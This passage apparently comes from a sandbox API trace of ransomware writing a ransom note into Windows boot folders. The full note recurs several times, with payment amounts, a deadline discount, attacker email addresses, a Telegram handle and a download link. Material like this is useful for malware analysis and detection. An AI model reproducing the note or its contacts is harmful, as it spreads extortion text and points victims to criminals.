lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.610] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.610] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.611] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0124.611] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.611] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.611] PathFindFileNameW (pszPath="") returned="" [0124.611] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.611] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.611] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.611] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.611] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0124.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.611] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0124.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.612] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.612] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.612] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.612] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.612] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.612] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.612] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.612] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.612] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.613] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.614] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.616] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.616] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.616] RtlAllocateHeap 